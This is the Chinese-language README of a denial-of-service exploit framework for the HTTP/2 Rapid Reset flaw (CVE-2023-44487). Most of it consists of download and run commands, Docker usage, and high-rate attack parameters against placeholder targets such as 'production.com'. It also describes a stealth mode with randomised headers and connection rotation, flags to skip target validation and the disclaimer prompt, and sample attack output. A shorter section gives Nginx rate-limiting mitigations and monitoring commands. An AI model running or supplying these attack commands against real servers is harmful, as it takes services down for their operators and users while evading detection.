高级CVE-2023-44487 HTTP/2 Rapid Reset漏洞利用框架。具备多连接并发攻击、自适应速率控制、随机化标头的隐身模式、实时指标以及风险评估报告功能。仅限授权渗透测试使用。作者:Sudeepa Wanigarathna
一个针对 CVE-2023-44487(HTTP/2 快速重置漏洞)的专业级评估框架。该工具帮助安全专业人员针对近年来披露的影响最大的 HTTP/2 DoS 条件之一来测试和验证系统。
它演示了快速创建并重置 HTTP/2 数据流如何耗尽服务器资源,并导致拒绝服务(DoS)状况。
| Usage | Results |
|---|---|
![]() | ![]() |
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2023-44487 |
| CVSS 分数 | 7.5(高危) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 影响 | 拒绝服务(资源耗尽) |
| 受影响协议 | HTTP/2 |
| 披露日期 | 2023 年 10 月 |
该漏洞利用了 HTTP/2 协议的流管理机制:
| 功能 | 描述 |
|---|---|
| HTTP/2 支持 | 使用 h2 库实现完整的 HTTP/2 协议 |
| 多连接 | 跨多个连接并发攻击 |
| SSL/TLS | 支持 HTTPS,并提供证书验证选项 |
| 自适应速率控制 | 根据服务器响应动态调整攻击速率 |
| 隐身模式 | 随机化标头和连接轮换 |
| 实时监控 | 运行期间实时显示指标 |
| 综合报告 | JSON/CSV 输出并附带风险评估 |
| Docker 支持 | 容器化部署,便于测试 |
| 组件 | 最低要求 | 推荐配置 |
|---|---|---|
| 操作系统 | Linux / macOS / Windows | Linux 或 macOS |
| Python | 3.7+ | 3.11+ |
| CPU | 2 核 | 4 核以上 |
| 内存 | 2GB | 4GB 以上 |
| 网络 | 100Mbps | 1Gbps 以上 |
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
| 选项 | 描述 | 默认值 |
|---|---|---|
host | 目标主机名或 IP | 必需 |
-p, --port | 目标端口 | 443 |
--no-ssl | 禁用 SSL/TLS | False |
--no-verify | 跳过 SSL 证书验证 | False |
| 选项 | 描述 | 默认值 |
|---|---|---|
-c, --connections | 并发连接数 | 50 |
-s, --streams | 每个连接的流数 | 1000 |
-d, --duration | 持续时间(秒) | 30 |
--max-streams | 最大总流数 | 100000 |
--delay | 操作之间的基础延迟 | 0.0001s |
| 选项 | 描述 | 默认值 |
|---|---|---|
--adaptive | 自适应速率控制 | True |
--target-rps | 目标每秒请求数 | 10000 |
--stealth | 隐身模式(随机标头) | False |
--skip-validation | 跳过目标验证 | False |
--force | 跳过法律免责声明提示 | False |
| 选项 | 描述 | 默认值 |
|---|---|---|
-o, --output | 输出文件名 | exploit_results.json |
--format | 输出格式(json / csv / console) | json |
-v, --verbose | 详细日志记录 | False |
使用上述命令行标志调整并发、流数量、持续时间和报告。初始验证建议使用较低的 -c / -s / -d 值,然后仅在您有权进行压力测试的系统上扩大规模。
| 场景 | 建议参数 |
|---|---|
| 冒烟测试 | -c 10 -s 100 -d 5 |
| 标准评估 | -c 50 -s 1000 -d 30 |
| 高负载实验室测试 | -c 100 -s 2000 -d 60 --stealth |
| 不受信任的证书 | --no-verify |
| 纯 HTTP | -p 80 --no-ssl |
docker build -t cve-2023-44487-exploit .
docker run --rm cve-2023-44487-exploit target.com
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
| 指标 | 描述 | 解读 |
|---|---|---|
| 总流数 | 创建的流数量 | 数量越高 = 产生越多负载 |
| 成功重置数 | 成功重置的流 | 在易受攻击的目标上通常 >90% |
| 重置速率(RPS) | 每秒重置次数 | 速率越高 = 负载越有效 |
| 成功率 | 成功重置的百分比 | >90% 通常表明存在暴露风险 |
| 连接错误 | 失败的连接 | 低 = 连接稳定 |
| 服务器重置 | 服务器发起的重置 | 高 = 存在防护措施 |
| 等级 | 分数 | 含义 |
|---|---|---|
| 严重(CRITICAL) | 80–100 | 服务器高度易受攻击 |
| 高危(HIGH) | 60–79 | 服务器易受攻击,存在部分防护 |
| 中危(MEDIUM) | 40–59 | 已有部分防护 |
| 低危(LOW) | 0–39 | 服务器防护良好 |
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
应用安全补丁
实施速率限制
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
连接限制
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
| 设置 | 建议 |
|---|---|
| 最大并发流数 | 每个连接设置为 100–200 |
| 流重置速率 | 每个客户端限制为 <100 次/秒 |
| 连接限制 | 每个 IP 最多 50–100 个连接 |
| 超时值 | 减少空闲超时 |
| 请求大小限制 | 限制标头大小和负载 |
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
重要提示:使用本工具前请仔细阅读
本工具仅用于经授权的安全测试和教育目的。
使用本工具即表示您确认并同意:
本工具严禁用于:
作者和贡献者按“原样”提供本工具,不附带任何担保。使用本工具的风险由您自行承担。作者不对因使用本工具而产生的任何损害或法律问题负责。
未经授权使用本工具可能违反包括但不限于以下法律:
Sudeepa Wanigarathna
connection_attempts 属性错误--skip-validation 标志本项目采用 MIT 许可证授权 — 详情请参阅 LICENSE 文件。
h2、aiohttp 项目)如有问题或疑问:
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
提醒: 测试任何系统前,请始终获得适当授权。请负责任且合乎道德地使用本工具。
由 Sudeepa Wanigarathna 维护 | 最后更新:2026 年 8 月